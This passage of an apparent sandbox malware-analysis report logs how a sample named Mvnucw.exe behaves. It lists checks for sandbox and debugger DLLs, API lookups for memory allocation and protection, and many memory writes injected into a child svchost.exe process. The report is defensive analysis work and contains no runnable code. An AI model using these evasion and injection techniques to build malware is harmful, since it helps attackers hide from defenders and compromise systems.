Data
Write svchost.exe address = 0x1400190d8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190e0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190e8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190f8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019100, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019108, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019110, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019118, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019120, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019128, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019130, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019138, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019140, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 26 True 1
Fn
Data
Write svchost.exe address = 0x140019148, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019150, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019160, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019168, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019170, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019178, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019180, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x7fffffd6010, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x282830, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 116 True 1
Fn
Data
Write svchost.exe address = 0x282848, size = 16 True 1
Fn
Data
Write svchost.exe address = 0x70000, size = 16 True 1
Fn
Data
Module (27)
+
Operation Module Additional Information Success Count Logfile
Load Kernel32.dll base_address = 0x75dc0000 True 1
Fn
Load shell32.dll base_address = 0x75fe0000 True 1
Fn
Load ntdll.dll base_address = 0x77720000 True 1
Fn
Load shlwapi.dll base_address = 0x76f10000 True 1
Fn
Load advapi32.dll base_address = 0x77280000 True 1
Fn
Load kernel32.dll base_address = 0xc0000018 False 1
Fn
Load kernelbase.dll base_address = 0x0 True 1
Fn
Get Handle c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe base_address = 0x400000 True 3
Fn
Get Handle cmdvrt32.dll base_address = 0x0 False 1
Fn
Get Handle SxIn.dll base_address = 0x0 False 1
Fn
Get Handle SbieDll.dll base_address = 0x0 False 1
Fn
Get Handle Sf2.dll base_address = 0x0 False 1
Fn
Get Handle snxhk.dll base_address = 0x0 False 1
Fn
Get Handle dbghelp.dll base_address = 0x0 False 1
Fn
Get Handle api_log.dll base_address = 0x0 False 1
Fn
Get Handle dir_watch.dll base_address = 0x0 False 1
Fn
Get Handle pstorec.dll base_address = 0x0 False 1
Fn
Get Handle vmcheck.dll base_address = 0x0 False 1
Fn
Get Handle wpespy.dll base_address = 0x0 False 1
Fn
Get Filename wpespy.dll process_name = c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe, file_name_orig = C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x75dd7a10 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x75dd435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x75dd1856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnmapViewOfFile, address_out = 0x75dd1826 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x75dd186e True 1
Fn
Window (5)
+
Operation Window Name Additional Information Success Count Logfile
Create msPin class_name = cmsPin, wndproc_parameter = 0 False 1
Fn
Create ï™ @ class_name = button, wndproc_parameter = 0 True 1
Fn
Create ï™ @ class_name = STATIC, wndproc_parameter = 0 True 1
Fn
Create class_name = richedit, wndproc_parameter = 0 False 1
Fn
Create class_name = EDIT, wndproc_parameter = 0 False 1
Fn
System (3)
+
Operation Additional Information Success Count Logfile
Get Computer Name result_out = AUFDDCNTXWT True 1
Fn
Sleep duration = 3000 milliseconds (3.000 seconds) True 1
Fn
Get Info type = Hardware Information True 1
Fn
Process #8: svchost.exe
(Host: 311, Network: 25)
+
Information Value
ID #8
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\
Monitor Start Time: 00:01:39, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:00:47
OS Process Information
+
Information Value
PID 0x830
Parent PID 0xb68 (c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 840
0x 8AC
0x 900
0x 8FC
0x 938
0x 964
0x 8D0
0x 984
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
private_0x0000000000050000 0x00050000 0x00050fff Private Memory Readable, Writable, Executable True False False
private_0x0000000000060000 0x00060000 0x00060fff Private Memory Readable, Writable, Executable True False False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable, Executable True False False
imm32.dll 0x00080000 0x000a8fff Memory Mapped File Readable False False False
pagefile_0x0000000000080000 0x00080000 0x00086fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000090000 0x00090000 0x00091fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
private_0x00000000000b0000 0x000b0000 0x000b0fff Private Memory Readable, Writable True False False
private_0x00000000000d0000 0x000d0000 0x0014ffff Private Memory Readable, Writable True False False
locale.nls 0x00150000 0x001b6fff Memory Mapped File Readable False False False
private_0x0000000000280000 0x00280000 0x0037ffff Private Memory Readable, Writable True False False
private_0x0000000000380000 0x00380000 0x0047ffff Private Memory Readable, Writable True False False
private_0x0000000000510000 0x00510000 0x0051ffff Private Memory Readable, Writable True False False
pagefile_0x0000000000520000 0x00520000 0x006a7fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000006b0000 0x006b0000 0x00830fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000840000 0x00840000 0x01c3ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001c40000 0x01c40000 0x02032fff Pagefile Backed Memory Readable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
private_0x000000007fff3000 0x7fff3000 0x7fff3fff Private Memory Readable, Writable True False False
svchost.exe 0xff5a0000 0xff5aafff Memory Mapped File Readable, Writable, Executable False False False
private_0x0000000140000000 0x140000000 0x140024fff Private Memory Readable, Writable, Executable True False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd6fff Private Memory Readable, Writable True False False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True False False
For performance reasons, the remaining 80 entries are omitted.
The remaining entries can be found in flog.txt.
Injection Information
+
Injection Type Source Process Source Os Thread ID Injection Info Success Count Logfile
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x50000, size = 544 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x60000, size = 72 True 88
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0xff5a246c, size = 22 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140000000, size = 1024 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140001000, size = 96768 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019000, size = 25088 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140020000, size = 2264 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140020000, size = 512 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140021000, size = 6144 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140023000, size = 1536 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140024000, size = 1536 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 21 True 4
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20000, size = 16 True 79
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x70000, size = 48 True 86
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 7 True 5
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019190, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 9 True 3
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019198, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 18 True 3
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191a0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 17 True 6
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191a8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191b0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 6 True 5
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191b8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 11 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191c0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 8 True 3
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191c8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 5 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191d0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 15 True 7
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191d8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191e0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191e8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191f0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400191f8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019200, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 12 True 4
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019208, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019210, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019218, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019220, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 10 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019228, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 19 True 7
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019230, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019238, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 22 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019240, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019248, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019250, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019258, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019260, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 13 True 6
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019268, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 14 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019270, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019278, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019280, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019288, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 25 True 4
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019010, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 23 True 3
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019018, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019020, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019028, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019030, size = 8 True 1
Fn
Data
